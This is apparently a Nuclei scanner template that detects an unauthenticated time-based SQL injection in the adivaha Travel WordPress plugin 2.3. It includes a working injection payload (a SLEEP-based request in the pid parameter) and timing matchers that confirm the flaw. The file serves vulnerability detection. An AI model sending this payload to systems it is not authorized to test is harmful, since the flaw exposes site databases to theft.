31 lines
1.1 KiB
YAML
31 lines
1.1 KiB
YAML
id: wp-adivaha-sqli
|
|
|
|
info:
|
|
name: WordPress adivaha Travel Plugin 2.3 - SQL Injection
|
|
author: theamanrawat
|
|
severity: high
|
|
description: |
|
|
An unauthenticated Time-Based SQL injection found in adivaha Travel Plugin 2.3 allows a remote attacker to retrieve the contents of an entire database.
|
|
reference:
|
|
- https://wordpress.org/plugins/adiaha-hotel/
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
publicwww-query: "/wp-content/plugins/adiaha-hotel/"
|
|
tags: time-based-sqli,sqli,adivaha,wordpress,wp,wp-plugin
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
@timeout: 25s
|
|
GET /mobile-app/v3/?pid='+AND+(SELECT+6398+FROM+(SELECT(SLEEP(7)))zoQK)+AND+'Zbtn'='Zbtn&isMobile=chatbot HTTP/2
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- duration>=7
|
|
- status_code == 200
|
|
- contains(body, "adivaha")
|
|
condition: and
|
|
# digest: 4b0a00483046022100ed9c0e06773d6fb83e81d51d701d5a070f9efb20d586ece48230d1293c1b7b1e022100f53f6bc2e143eeb17d49a5dbed0ab1e4c9d1c27798be653d0e963f0298d8efde:922c64590222798bb761d5b6d8e72950 |